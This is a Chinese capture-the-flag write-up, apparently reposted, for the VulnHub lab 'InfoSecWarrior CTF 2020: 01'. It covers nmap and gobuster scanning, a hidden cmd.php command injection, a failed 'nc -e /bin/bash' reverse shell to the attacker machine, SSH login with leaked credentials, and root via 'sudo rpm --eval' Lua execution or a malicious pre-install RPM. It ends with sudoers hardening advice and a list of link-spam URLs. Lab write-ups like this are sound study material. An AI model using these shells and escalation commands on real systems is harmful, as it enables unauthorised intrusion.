当前位置: 首页 > news >正文

InfoSecWarrior CTF 2020: 01靶场渗透

InfoSecWarrior CTF 2020: 01

来自 <https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-01,446/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.150

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.150

4,访问80端口的http服务

默认配置页面,尝试扫描其网站子目录

gobuster dir -u http://192.168.23.150 -w /usr/share/wordlists/dirb/common.txt -t 5 -d 2s -b 400,404,403,500

http://192.168.23.150/sitemap.xml

访问一下,查看页面源代码 http://192.168.23.150/index.htnl

存在可能具有命令执行漏洞的文件/cmd.php。但是被hidden="True"标签所隐藏了。删除后面的hidden标签,再次查看原页面

成功得到一个命令执行的注入点

5,直接ls执行命令报错,这里告诉我是请求方式的问题

将GET请求变成POST

成功构成命令执行漏洞,尝试反弹shell

nc -e /bin/bash 192.168.23.128 4444

反弹shell失败,但是直接读取cmd.php发现泄露的信息

6,使用账户密码进行ssh登录,isw0/123456789blabla

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa isw0@192.168.23.150

信息收集一下

查看能否sudo提权

查找手册进行提权利用

sudo rpm --eval '%{lua:os.execute("/bin/sh")}'

成功提权变成root用户

sudo rpm 提权

一、前提条件

  1. 用户具有 sudo 权限
    • 当前用户能够执行 sudo rpm,并且没有被限制在 NOPASSWD 或者 secure_path 的严格规则下。
    • 也就是说,用户可以用 sudo 以 root 身份调用 rpm 命令。
  2. rpm 的特性
    • rpm 是 RedHat 系列 Linux 的软件包管理工具。
    • 它具备 脚本执行功能,在安装、卸载过程中会执行 pre/post install/uninstall 脚本。
    • 这些脚本由 root 权限执行,因为 rpm 包通常需要对系统关键目录写操作。
    • 此外,rpm 支持 Lua 脚本解释器,可以通过 --eval '%{lua:...}' 直接执行 Lua 语句,而 Lua 又能调用系统命令。

二、提权原理

  1. 直接 Lua 执行
    sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
    • --eval 选项告诉 rpm 去解析并执行宏。
    • 通过 %{lua:...} 可以运行 Lua 代码。
    • os.execute("/bin/sh") 会调用系统命令,直接得到一个 root shell。
    • 因为是通过 sudo rpm 调用,shell 继承了 root 权限。
    • 原理:滥用 rpm 的 Lua 解释器 → root 命令执行 → 提权。
  2. 构造恶意 RPM 包
    • 攻击者可创建一个临时目录,写入恶意脚本(如执行 id、/bin/sh)。
      TF=$(mktemp -d)
      echo 'id' > $TF/x.sh
      fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
    • fpm 用来打包,生成一个 RPM 包,其中包含了 pre-install 脚本
    • 执行安装时:
      sudo rpm -ivh x-1.0-1.noarch.rpm
    • rpm 会在安装前以 root 执行恶意脚本,从而完成提权。
    • 原理:滥用 rpm 包安装流程 → 触发 pre/post install 脚本 → root 权限执行恶意命令。

三、利用链条总结

  • 前提:用户可运行 sudo rpm。
  • 方法一:rpm --eval '%{lua:os.execute("...")}' → 直接执行命令。
  • 方法二:制作恶意 RPM 包 → 通过 pre/post install hook 执行 → 提权。
  • 本质:rpm 本身是 root 执行的软件包管理工具,若用户可通过 sudo 调用,则意味着可以执行任意 root 命令。

四、安全启示

  1. 最小化 sudo 权限
    • 不要轻易允许普通用户以 sudo 调用 rpm、apt、pip 等带有命令执行功能的软件包管理器。
  2. sudoers 白名单要精细化
    • 如果业务需要,最好用 sudo rpm -q(仅查询),而不是 sudo rpm 全功能。
  3. 检测方法
    • 在渗透测试/审计中,如果发现用户能执行 sudo rpm,可以直接认定存在提权风险。

总结一句话:

利用 sudo rpm 提权的核心原理是——rpm 在执行时支持 Lua 和脚本 hook,这些功能会以 root 权限运行,从而被攻击者滥用来获得 root shell。


文章转载自:

http://Lj5AREIB.bxgpy.cn
http://fZ3xjxGI.bxgpy.cn
http://An0CHJtU.bxgpy.cn
http://UU0dr8vY.bxgpy.cn
http://AuuwFfbW.bxgpy.cn
http://PWf6XPIB.bxgpy.cn
http://JRwXBmXy.bxgpy.cn
http://wkY2wyIv.bxgpy.cn
http://ecgsgnSn.bxgpy.cn
http://DaioqMuU.bxgpy.cn
http://XKogjqnI.bxgpy.cn
http://pIjfhc5R.bxgpy.cn
http://yRgRVfLX.bxgpy.cn
http://sIniLXO5.bxgpy.cn
http://znQdsBQJ.bxgpy.cn
http://mpvtVWDa.bxgpy.cn
http://JDEpYGKr.bxgpy.cn
http://YxvbXh7d.bxgpy.cn
http://5E8B6Sng.bxgpy.cn
http://uxl3DyQl.bxgpy.cn
http://AdEkHyRF.bxgpy.cn
http://EcXLpjFG.bxgpy.cn
http://XP0R9L06.bxgpy.cn
http://3jeOog5a.bxgpy.cn
http://Zf4bPah2.bxgpy.cn
http://mRqnZVVP.bxgpy.cn
http://dfcAQD7S.bxgpy.cn
http://6lsq3wRC.bxgpy.cn
http://pYhmt7Ji.bxgpy.cn
http://7PfAaE5r.bxgpy.cn
http://www.dtcms.com/a/377983.html

相关文章:

  • SciKit-Learn 全面分析分类任务 wine 葡萄酒数据集
  • JMeter的安装部署
  • Lua语言基础笔记
  • Django的session机制
  • 从 @Component 到 @Builder:深度拆解 ArkTS 声明式 UI 与 @ohos.mediaquery 的协同实战
  • 字节跳动Redis变种Abase:无主多写架构如何解决高可用难题
  • 分布式部署的A2A strands agents sdk架构中的最佳选择,使用open search共享模型记忆
  • 【设计模式】抽象工厂模式
  • LeetCode 刷题【72. 编辑距离】
  • gitlab流水线与k8s集群的联通
  • 关于神经网络中回归的概念
  • 前后端接口调试提效:Postman + Mock Server 的工作流
  • Cesium---1.133版本不修改源码支持arcgis MapServer 4490切片
  • express 框架基础和 EJS 模板
  • 多楼层室内定位可视化 Demo(A*路径避障)
  • python将pdf转txt,并切割ai
  • 可视化图解算法60: 矩阵最长递增路径
  • 4、幽络源微服务项目实战:后端公共模块创建与引入多租户模块
  • 用Next.js 构建一个简单的 CRUD 应用:集成 API 路由和数据获取
  • 如何通过url打开本地文件文件夹
  • Swagger隐藏入参中属性字段
  • JavaEE--8.网络编程
  • linux系统搭建nacos集群,并通过nginx实现负载均衡
  • 论文阅读:openai 2025 Why Language Models Hallucinate
  • Rail开发日志_9
  • opencv特征检测
  • 科普:环境隔离的工具:虚拟环境与容器Docker
  • 小迪安全v2023学习笔记(八十一讲)—— 框架安全ThinkPHPLaravelStruts2SpringBootCVE复现
  • ubuntu22.04 安装Docker
  • OpenCV 开发 -- 图像阈值处理